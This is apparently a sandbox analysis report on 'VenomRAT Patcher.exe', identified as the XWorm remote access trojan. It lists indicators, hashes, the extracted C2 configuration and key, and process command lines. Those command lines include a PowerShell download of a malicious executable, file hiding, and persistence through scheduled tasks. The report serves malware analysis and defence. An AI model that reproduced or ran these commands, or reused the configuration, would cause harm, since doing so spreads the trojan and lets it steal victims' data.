File name:

VenomRAT Patcher.exe

Full analysis: https://app.any.run/tasks/3674362f-0c31-458c-9586-dd9a66882d80
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 05:32:19
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
python
pastebin
remote
xworm
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
MD5:

07C653D74342733B925F3CE700A75604

SHA1:

3EBBECF91881F8D666E74211C0C9662CFDB6B1DF

SHA256:

F949F581B93CB366EBF915797331A45FDF856B123ECAEEF8BDB42D5F0DDBDFE8

SSDEEP:

98304:CCYzBnbSb4Y6ZhkDQet54nHZUj0vU9XLDbenkuA83wpYp2twldaQ0EACheua5DRC:sp2z881mwH/kit496ikY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5544)
      • powershell.exe (PID: 5776)

    • Changes Windows Defender settings

      • cmd.exe (PID: 2236)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 2236)

    • Create files in the Startup directory

      • RuntimeBroker.exe (PID: 6708)

    • Uses Task Scheduler to run other applications

      • RuntimeBroker.exe (PID: 6708)

    • XWORM has been detected (YARA)

      • RuntimeBroker.exe (PID: 6708)

    • XWORM has been detected (SURICATA)

      • RuntimeBroker.exe (PID: 6708)

  • SUSPICIOUS

    • Process drops python dynamic module

      • VenomRAT Patcher.exe (PID: 3884)

    • Application launched itself

      • VenomRAT Patcher.exe (PID: 3884)

    • Process drops legitimate windows executable

      • VenomRAT Patcher.exe (PID: 3884)

    • The process drops C-runtime libraries

      • VenomRAT Patcher.exe (PID: 3884)

    • Loads Python modules

      • VenomRAT Patcher.exe (PID: 4880)

    • The process executes VB scripts

      • cmd.exe (PID: 3900)

    • Starts CMD.EXE for commands execution

      • VenomRAT Patcher.exe (PID: 4880)
      • wscript.exe (PID: 6540)
      • RuntimeBroker.exe (PID: 6708)

    • Executing commands from a ".bat" file

      • VenomRAT Patcher.exe (PID: 4880)
      • wscript.exe (PID: 6540)
      • RuntimeBroker.exe (PID: 6708)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3900)
      • cmd.exe (PID: 2236)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 3900)
      • cmd.exe (PID: 2236)

    • Executable content was dropped or overwritten

      • VenomRAT Patcher.exe (PID: 3884)
      • powershell.exe (PID: 4200)
      • RuntimeBroker.exe (PID: 6708)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6540)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2236)

    • The executable file from the user directory is run by the CMD process

      • RuntimeBroker.exe (PID: 6708)

    • The process creates files with name similar to system file names

      • RuntimeBroker.exe (PID: 6708)

    • Script adds exclusion path to Windows Defender

      • cmd.exe (PID: 2236)

    • Reads the date of Windows installation

      • RuntimeBroker.exe (PID: 6708)

    • Reads security settings of Internet Explorer

      • RuntimeBroker.exe (PID: 6708)

    • The process executes via Task Scheduler

      • svhost.exe (PID: 1324)

    • Potential Corporate Privacy Violation

      • svchost.exe (PID: 2196)

    • Connects to unusual port

      • RuntimeBroker.exe (PID: 6708)

    • Contacting a server suspected of hosting an CnC

      • RuntimeBroker.exe (PID: 6708)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 4620)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 6108)

  • INFO

    • Checks supported languages

      • VenomRAT Patcher.exe (PID: 3884)
      • VenomRAT Patcher.exe (PID: 4880)
      • RuntimeBroker.exe (PID: 6708)
      • svhost.exe (PID: 1324)

    • Reads the computer name

      • VenomRAT Patcher.exe (PID: 3884)
      • VenomRAT Patcher.exe (PID: 4880)
      • RuntimeBroker.exe (PID: 6708)
      • svhost.exe (PID: 1324)

    • Create files in a temporary directory

      • VenomRAT Patcher.exe (PID: 3884)
      • VenomRAT Patcher.exe (PID: 4880)
      • RuntimeBroker.exe (PID: 6708)

    • Checks proxy server information

      • VenomRAT Patcher.exe (PID: 4880)
      • powershell.exe (PID: 4200)
      • RuntimeBroker.exe (PID: 6708)
      • slui.exe (PID: 2148)

    • The sample compiled with english language support

      • VenomRAT Patcher.exe (PID: 3884)

    • Disables trace logs

      • powershell.exe (PID: 4200)
      • RuntimeBroker.exe (PID: 6708)

    • Reads the machine GUID from the registry

      • RuntimeBroker.exe (PID: 6708)
      • svhost.exe (PID: 1324)

    • Creates files or folders in the user directory

      • RuntimeBroker.exe (PID: 6708)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 4380)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4380)

    • Process checks computer location settings

      • RuntimeBroker.exe (PID: 6708)

    • Reads Environment values

      • RuntimeBroker.exe (PID: 6708)

    • Reads the software policy settings

      • RuntimeBroker.exe (PID: 6708)
      • slui.exe (PID: 5968)
      • slui.exe (PID: 2148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(6708) RuntimeBroker.exe
C2https://pastebin.com/raw/0gQJh4kU:<123456789>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeRanan
USB drop nameUSB.exe
Mutex4VryPVus4c0Pt4nK
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:05:17 04:50:08+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.43
CodeSize: 173568
InitializedDataSize: 101888
UninitializedDataSize: -
EntryPoint: 0xce30
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
158
Monitored processes
28
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start venomrat patcher.exe venomrat patcher.exe sppextcomobj.exe no specs slui.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs cacls.exe no specs wscript.exe no specs cmd.exe conhost.exe no specs powershell.exe no specs cacls.exe no specs powershell.exe no specs attrib.exe no specs powershell.exe #XWORM runtimebroker.exe attrib.exe no specs schtasks.exe no specs conhost.exe no specs svchost.exe svhost.exe no specs slui.exe schtasks.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
516\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
736attrib +h "Anon" /s /dC:\Windows\System32\attrib.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Attribute Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\attrib.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
1324"C:\Users\admin\AppData\Roaming\svhost.exe"C:\Users\admin\AppData\Roaming\svhost.exe—svchost.exe
User:
admin
Integrity Level:
HIGH
Description:
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\svhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2148C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2236"C:\Windows\System32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\a.bat" C:\Windows\System32\cmd.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
2516\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3884"C:\Users\admin\AppData\Local\Temp\VenomRAT Patcher.exe" C:\Users\admin\AppData\Local\Temp\VenomRAT Patcher.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\venomrat patcher.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
3900C:\WINDOWS\system32\cmd.exe /c "C:\Users\admin\AppData\Local\Temp\a.bat"C:\Windows\System32\cmd.exe—VenomRAT Patcher.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
4200Powershell -Command "Invoke-Webrequest 'https://github.com/wha-gifart/gifart/releases/download/SDA/RuntimeBroker.exe' -OutFile RuntimeBroker.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
25 037
Read events
25 035
Write events
2
Delete events
0

Modification events

(PID) Process:(3900) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
(PID) Process:(6708) RuntimeBroker.exeKey:HKEY_CURRENT_USER\SOFTWARE\3C54740F7CC0F23B53E5
Operation:writeName:CC52384910CEE944DDBCC575A8E0177BFA6B16E3032438B207797164D5C94B34
Value:
004A00001F8B0800000000000400ED7C0B785C55B5FF3A6766CE3933939964264D9AB64999D287D3260D4D5FB4D0D2E6D147A06943D3D207423A99394DA69DCC49CF4CA0A15227A2572A96BF28782DE8E575F5D27BD52BA250540444D4A2A8E85FE47AA182A817142FF8FAFE8A5AEF6FAD73E691A628F77EFFEF7EFFEFFBDF69B3CE5E6BEDBDF67AEDB5F73E99B667F7FBC843445EFCFCF9CF4427C8F9ACA5BFFE29E0277CCEE7C2F419FF93B34E289B9E9CB56D289D8B8DD8D6A09D188E2513D9AC958F0D98317B341B4B67635D5BFA62C356CA6C0D8502735C19BDEB8836291EFABB1FBE6416E53E4FE7C6824A2F510710CDA105F600C4DC49896AA4AD3A7A13959FF48843E78F87D6BE8BBBF2DFF2B3F490CF897EA22DAE311FF29CC5C83B88AADE842F267DA09F51811AC03756E0AD79F3609E7559EBF4155BD54922F6B4DA393B49AE6ED0510CED9AD80F22D6B6DA66C64ABABADEE1CADA38A95FC7996ABED2EF3C37CA101F6D5A46F499F9444AB1437F3927DECC67A61A9F8A682D98476ABC010D5AF0B1DC343C0B10E8CD4DE716472D37835B1E6E35720B567917D42E522436E81AA1C33CC06A0233D04C5A89A70A8F455833CFE47984C742AD73CEE47985C7D358B1324FA555E0F98407E89D129F0566506F996563FA916F83A6C6CF05C99A0D9043D206AA8C824FC4C980D21C419254851CAD483E97D402230B2ECB212A5A7C2E46E741500B3A53E1A979EC29A2E2785DC6EBC5F113E9F1106408FDFE29A7B53A20B9B7B04E71769FC1BA9FD6A64FA4FADD69E63BD3D00CD8BB83242F23AC46007C4F013378BD0548F7FA0AD0D31BF616C2781C6699D6020EE1617FA9796AC6DC7833BB8874AB05CFF842A6C65B014F11EBACC8E25268C54A9A019F2903F5856A8CAEDF578870B0CF63BD6A592FD147A78BE1673FEBD330B531B788B910E0AD73BA4F3DBA1A220AD109230F7387187D8DC86A13EDCAF862C61DC26136EE30DB165FC2F15BCAACA9A20B35C49156DABC532131A5A47D1CA91FB8311D882FE701E773ACA36A7C055B7B8EFF28168F32B7DE864D2377CD9D7A98FD75D7DC062DBE12FCBBE64E7309D3A34AFC02F68B439EE1921B41BEB04C6E72C9330FB3A7EF8AAF6256032790A33B1B5C2FF0C6743DE25ACF71852B02C2B62E426BDEA93A2712218A4FE391452BE058A59163B09F02A3149A2DCBE9627A798952C76DF6F9EF15F113724D42735A09682D9A23C5F59E6AAD9175507F5AAD3256F2DA3D1C91B09C5642FE950F7237D1F1260CAEF546BC2BDFCB248E8EB5966D99C3F9DECE11E3610EA38327AD086344D202E37D115FCB7237E26FDEFEE7967389122953F7FDE081A94F9773859AA738CAB84A5A9D622FADF80C15D57438BAD5251924FAAD63F92C0E2A6911AD65F0300A99B745974773FDE17A666917B12AEBD1756E81E9B90D68D6EA11BD6CBCB5916516ED399BE9532B553DD7B1A1ACC30F269943D4EC77A37CAAF33F9121F54E86D41A135244E114A1F646A75E4FC1CF93F0E40BF88110727244251410AE3D5C27E28D32B3BBF203A49D65E52F28AE7B5486198E0C1F7D80643F820CC7F8801A9FCD89810AA505F51BD3B21A6C081D8977B34466566946BD7163DA098CA6D7EBC5B6185637D5BA984D13441377D76BE2B507EAAD4BC4E82AD25A74CDDAC4639E7DE345C26B4445E531B3C5ED5DA1436FA3BAA2FD5F0125C4BA3BF5CB99DEEA2969626DAE2C8767778A9B585BCA39D6F1D76B283985B7B7B267151967EDE99FD43344FEB34507462D25D949A6C59CF81076BE69DB8BED03147E7BB17D1B858F97637812A3C2EC87159F472BB6681475F2D27299B5B6B2F5DACAEBA818E4A07D1E07B414E82AE3EC810EE9FE7A7F31B87A45D027075A7702AD4F0874BC4FECAE22BD45D7DD70139572DE7B46C4696AAD6FC5EA3FF311D78DFD02B28E15631FA10F1DA7FAA2CDDFC7F1A2DACDFD38DBC1E54C4A765D7D7C9B13EEFA5B837A7CB1D8177BA1EDA98796AD3162F76EEF3FBC6CBA11AB9E7E817AE17779D992436C3DB0C254F90C58F748F89317FEC4E5F0B00B3FC87569A330AB4E4E7F9287EF5CFFD413ADFB9B5DCA8577708F79D2E3C427BEF4BF5BAB99F3C3A77FF3A7D6B615D520EB36769691FAF87628B6F276EECCF55DB72F2D531F66EA8B424D96A93F62EA93423D54A63EC3D407847A5D99FA6BA6DE29D41BCA540D84153708F56FCBD4185347857A7B997A3E53FBB966C7CFE1F0FB0F5FC6A9B0438215F1B634F86375E04ECDEDE42A26BC99BC4B63D4FCD228DE2B2AC671999E16F1C9C0FAB30C7C8D63EBE4C18A1F735B9B7A6B7C177A680DCE33B79B91692E71BAF3E4B58301F7FDD501F1369E67C57B8A1D97B81DF999BB9C3BBC55AAD83487545F5F3F95CF971A35EF26EE7785EC1D3CF24A29D311A33EA22FF434342BF587FB79F8B92CBF7921D5C7F770077FC46FDF0B8FF288843BD700F79BCB499AE4B990FBA79ADC2510A048E0ACC5A058FBD9AD0F20834EE0A7C9ADFDB58B3C84C5C467669C3953BCA0EBAB50844346ADD70FF77B6BB5E6B7E811ED560BD7B580EA04974F01D803B110C108344728A24D7D9AA313F1B57D774AE9AC1D9195C672F7F2586B90DC8338F119D8E1472BF84315FC198BBCC417C45A675DE6D2ACD974D924AB503DA65BFBB82818F5F1FD5205F5FA5C4632CB3FF507EE5ECACA477CF57E6B987B467C8153D309796744BCC5EA515149644EA74EB4505337974067BFD8BCC3A919ACCF5B9DFD3352AC7C2A2A5D96CBB52824C58CF4A9A248C8AFD6836D594CF45B236EEDF2B7E87E7746A7C8052616346D81A3C31CAA5BE9CCABE2F4BE7E735907F890EA5887DC01562167CB76A11B87F9282F85D6CA8164E5A5CC3658A3F2B4AE629D54B827E2AD8FE00C615D2D93CF7453C74711DF5F3ADF87E8820DD4E4D4CBFFB20E07FFEFE980332DC9F925E29CE2D55BE5FC1E249CBBC7D0C0E31A3C6281D83CCA1D7276D4F8DB242E605DEBF4382C6BD4B0DE8EA761158AAB3D16A36F9035CE3A44BDDFAE2DDE08E3EF00B81687766FD41B5FE0D6A6967511EFA1697CC4730F914BFC16AA6800545C78BD87104C6FB1DDE4B4A7B38F9A79A1FBAD774ACAF00D2D706A61657238179589C6E4DEC5EE72DD5291AF8BE8D6278AFB5A98BEF634CD2AC6E94AAEAFEC236FBC852F939AF537ECABF8BBC5DDD07E2E696AEE7A8942831B050D6B397EA43200C56C3F8CBA17F0ECCBDDC0EEB43FCB9B7B8C0BFBD4DC7BDD9A6E1D658F1A77B967855ABD1E354E8F1AF11B455EE99A551B8806E49E55EB7764D706B548106961FD2FEE58BE7C1D9A78F98A049DDBC63C2E7FEFA389F730FFD9EF61FE37770F3B15A64810B521583C48862306503D7E9384E8593A55E33AA8AA7C7F941349E9AC359D8273A9817DAFD2DDF48EB98A5B43DE460F2E73DAB0869E5EAFD438F1F1108A0335707CA2CAE93A24B3AA22D46B3935F443313E071DC2C6E6FD41957E689660E7301632A63EED9FFAB464034E3D11AFE435875332AF5653235A03DFC570E185513E58E1738D8AB8EF19783DA9B48EEA763B758E736518B9324DD6F47F31D8BE7A2C005F549B146C030920C1D6DD60FBE3E77100DFCFCE5FC40B29807DAB22338388C45BB09739A9595BCECD2A8A549D999B9140C4FF2632C7FF1732473F7BE6E86F3E73FC70B2BF9C391AFB7C72E684CEC81C59C3ED292733AE77EE1F748B9313E4E41111B3BF859F250A919B44F2AA6F359F4140EBACA0F3A78DC782B64D71DE7B3A7B3C5709CE508AC41EFF48E378406D995B1F6C9EA2EA16EE6C012D11FB8042CAEE803E75675057AD9B413B4F6D7EA1B88F4739473837544FFC1636FC83E58D9ADF5971F169147EFC6FE98CF7704D4CFF764DB18A967855C5BD5F8D7F882ADECFF1B964A6D0DFEBC3AC534E2B41BDC588C39AE640B38F54E9388F3CA7EB982DAF1DE7BBCB50CE14D80DE81C197FE8564EC1DB389BF5F71A8EAC2AA3654A1CEE6B0E3A6CDDFAB053827591BBB5284DCD7D84AB3D7759D09A43B0B502BF0E58B0D893C71D6C06BFF284F11D7D177728EE9B53B6E7AAA5AD8B5A972C5AD2B692293EC241804EC0F4D9D869E6E0D4F00A2E19B3FBF2763A3B98E31E3558D6DFE0186DEFA36767B9F1DAB0BD9B5FF7BE02FC6B3AF08E8C35508EBBB2A3E9AE263FE4D0EBCA12DE0079F67E672FA4599C4FF8611F7CC43DEF7539FEE0779EFCDE4D8CF554B41597C74FDDE539AFA5BFAE3B966934CD97ACD2E86F04BEE63916ACA6C7F80527B57957FB35FAA3C0611FC39502B70A3C28F4266F13461DF330FCB2503EE01DD102F405CFEDB856253DB7EB01F27A6FD7C3B4D0F3EB60985E0F3C10D4E8E3DE63686FF4AEAA0AD31EEF4645A3F3C351234C5F0A709F1784F23B95294D340A09FFE0396668F45DE8A6D1610FEBF9AEC07580EFF1C7FD015AEDA9C5BCFB95359A466FF5478D000D853D618D7EA17F0739385FFBBA16A54FA85F07F70466D1E8D5F01A500EF97741CF1FE9DF00C5568E546BF4733FC376E34875944EF879D4FB820CBF1AD805F8E9D02E48F8AECA12DE21F01FAB5763F68D32FB1F21334CB3945555017A593B160CD07DD59E70807EA5327C4E657D3EE5638B0643ABAAEAE9FD4667081ED358CE253AEBFCFB2AEEF36BE81CA0B5D2FF2A99E543C4A36A431BB1C93CA130FC3224687424C85CA33A6A44E9E5F0D7B57A9A176499D70BFD7158BA464905388E0FA8DF01ECD5E6C1BA53019E6BAECA56B7186CEF3481CB54B6BA29CC96EE54D96AF2B3C786F5A6AA28D901B6BD2BC81EBE3BC4FE5F8859387BD29243C555F22B2353DD5DC27E17C854F7A0CD795D43178533D55700F34832FE5DD5CD555720330DE1C54399EA77213F83C2FB7E35F73450F7B8C6DC6FDC6F30562D52178418C3D949780361C6AA718B60DE77AA189BC2B50CE80301076B12DE937E079B2F586F356375D42A3D71BE25C616930FD84F820EB644B016977701F9B0FCFE5DB07A5A4501F0BECA7251CDD708769F608DC0788D6D909E335DDEE230F3665207EAF7C2409DB78DBC8126C086C05CC0F58185DE086D359601D6795602FE1FE5226F3DEA7907E0150267546F00AC11F83362F84581B7097C9F7231E08FA90770B9BE15F09AC076C0176997F7D2C2ED74A577162DAE3EE5594E9FA204E8B87B79353AEDBB123014623837F83DACB9B785F6A1BDAF9A292F093C1866F87D3FC3EBA57D8171A5B7372695A3E17CAC4785764EC006048B34AC0E3E0CECBD82D51A3F0F64BD0ADDE3623F3272C0BEEC625F0C1C04F6BC8B7D2F782DB03FBAD878E01DC0BA6639D89FD47703BBDCC5FC9EA3C052B3CAF3A974CDACB22E2ABD53B07AE3E3E19BBD2A7DD81D3723C4D87D13C6BD3061DC2BCE38DAEF3FE69DC8D369CFB9E571FA19BCB79DEB8CEB0D33EFB5D90EF692EF2EAF4E53E639584239EE3568A78B3DA27C0EB57ACA5B1CECC3CAC3C8EDC6B8835DA031563943806AE63BBCBD90E2DC2D0A541FFB66E89FBDC112B64FFD8CB7AA84ADAAFE82B7866A5A9C711FF43FE2AD29F19E0B7FD51B71B1DAD853E16F233786DC9E37E1F2309DAE77B1E769976706DDE362BF0B3DE36DA4150B1DEC55604DF40517DB177CC63B93D6B63AD82660E74CB021E6CE17897DD4FF436F197BCCF829B2F4CB322E42D71AFFEE9D4B2F9DE74899EBF9AD77DE0429F32BEC3BED9D4FD7B7393DFFD5AFFAE6D394C50EB65DF5FB16D06F9648DCE90F38C0B6D02239CD7F455D15FA846721F5BA588DAA29AD3424D875F433B5DED74AEF747927B4FB51293EBCD4D12CACCC00EF71C1147A9D66FBCEA36F2D2D6BB6889E15CC63FC9BB20558D3B24A5EA50D8B68F1B2722E2DA28B9639E382B45B99D8B3AD64EDFC70B3AF8C5D51BDC4B744F4F88E8FE1278977F767590A7D89F83DF71788F7FF130A735FF2335C2AED9F6815ED10C3CF2B3CF6058DC706F99D3579B938D3E322DF17626EBA9AB9F26B26CA8558B2253237E8CCBDD2602EF7F4BAF429E1F22CB1EAC95005ECD4B97DB368FE9268FE8A68FE90CCBE57E4B4F2AF59E99470AF14691F5327D28B73DD2FFD75B50C152A5B7785F4795CDA1F0DB3B45F55F9E9FCA082B8B29FA70106905BE7076BE073862B05B60BEC1678A9C05D80759490765AE001816380D3E908608CEE1499C705DE2BF02420F2587ABE2C945F0ABC49E031815502A7086C1438C7A5733E4D11D828708EC0076949683F3D4537AB07003F563D46BF47FFB7D3BDCA3F2947C9AFF0D807016FA308E09DE8CF9488A262D77F54A90BFE334D53AE54EFA793CA17D4CF81E2412ECE9751B300BF0DD8808BC82CC507F84BE596C073686F0FFF887EAFEC0CBD04F86EE355C08F077F4B2B95DFFAFE803E273445695366E91AE0B561206A7D38A0F855D66196F292AF4699A53CE76B53E62B5755AF507EA9FC405BAD4C532FF760552B7FEFEB00FDA0670360B3BE45E92E69DEA7B0CEBB459ACD12F483808F280565BE8C855602B93D4DE57644A9AB66F8B0FF387ABE43F9A4D2A66E44655EA9DE1A7E4CE956FF51FBA672A97A9FFF7B8027AB9F01E44CD8A56EA7E7A80D339E52122AC3B4BAC5FF6365979A327E0EF849DF6BCA018CFAAD32A6D6EABF137DFE0CFA7B344D3DA2FE6B55957AA9F2FED06CC0AFC0AB37A97BE83CF526F5E5AA65808F6A6B54F6ED76C0BDCAE5EA31CC95547781B20FD0A1BC5C358E367B609712D235EC171C8BB4C0E3EAABDAADEABDEA78F576C046F54EC083C17BD403CA2EFD9368EF467BA5787EA5787E0CA39E50C7954BD4EF826E8599FEB85F534EAADCE7A4CA7DC695ACF1ACFA2FEA12ED67E8D9AEBC06B81C678131F1C0499563DAA69CAC6EF030E55C0FE7498BE705F5D1EA36CF1150967B6E52D86F3729AFEB17795E569F09ACF39C549FF16DF2EC526FD376817247B8C573A97A63F8168FA25E1FBA1DB019B3FF523DE9BBC7F320711D7E90B8FE3E485C697FAF3EA37CD9B354CE2BABE8B3BE2D386D3DECFB2DDAEC01837AA906F5FE6ECAEAAD382F26518B6B290338836E009C4D370336D33F002E1178A1503AE913809708A54FE0E5F43860925E05DC4F7FF4AD45DDAFF1AEA543D4A575528E7A00B9DD8DB9DEAE278592144A1A940FE805E97F1DDD20F00302B9CF1170EFD0EF10EEDDC2BD1BF4BDDADDF44FD2BE4F20F73F0E691EFD11E9F998D01F43CF7BB4C7847E52E0F3C27D51E4BC28A35E14392F4A7FBF72377D46BF4E11AEC2148FCA1A7AD4DBA84A9F2DEDD92ADBDBA932778FC6943D1ACB2C48BB20ED3BA47D87B41F91F623D27E5E20E90C632E64EE5A69EF71A1F497F6C5B40D95F14A78F5DDF441BA871EC37AEC574CE506E556E5D34AADBA40BD505DA7E6D577AB0FA8BF51FB3D239E5B3D7FEFF9B4E77ECFE73DDFF278799FC11F3E49E98874446EB1AF072EC0DEF61B630DE097025D80FF16EC067C5760336093A70FF053E15D3EBE1B30FCB972A54FC5FEE191EF3FF900599E8A1FBFBC6D0FCA7BFF10FF6E1B50C54F3560985F29E0945F4B8FE89FD53763BF5F86BCEBA4473DDFF7FCD4F30BCF1F3C6B950BE99B2185D62BAB699FAA52A7B2865655F3B3939E0BF3AD661D3D15E62D673B7DD42F77797ACCE067BFF423659CE60BFF3ABA02B8B750F1AD2CF93CE9A7F2F7DEF039ED59281D26D29C7B57A082A6E3BE7C663FDDFB756DF2D8CE50B1CD03EEA9E277125E7E818CFB5400B687B0BF8470DB09E3EC5447CC3D977E2A4F4B9EFC9BE59FD212E509CF12E535E7DB75894534A77BEB8A856DD4BF29313C904ACCE9EF17745B1B755A59FE5ADC6589CCA8B9079421DB4CA4FA127BCD2D03FBCC64BED7B6AE4AA74C1BACED39D35EB298469DC736AB3B9BE7E7621A34F3FDDBB7AD5F41AB7AACD468C6BC8856F5DAE9AB1279B37B7824630E9BD97C229FB6B25D663E91CEE42EA2BE0E1AEAEAA40D9DD4DDD5459DDBB7F66DD9DADFB771CB8EEECD1B682374A5DE2DDD9BB7B5F776A31AF4F56EA2BE4DD4E3F6EBDEBC7E0BF58DE5F2E6706BF716549A4BA9A38F7AFA90D53BE99275BBA8BF3363E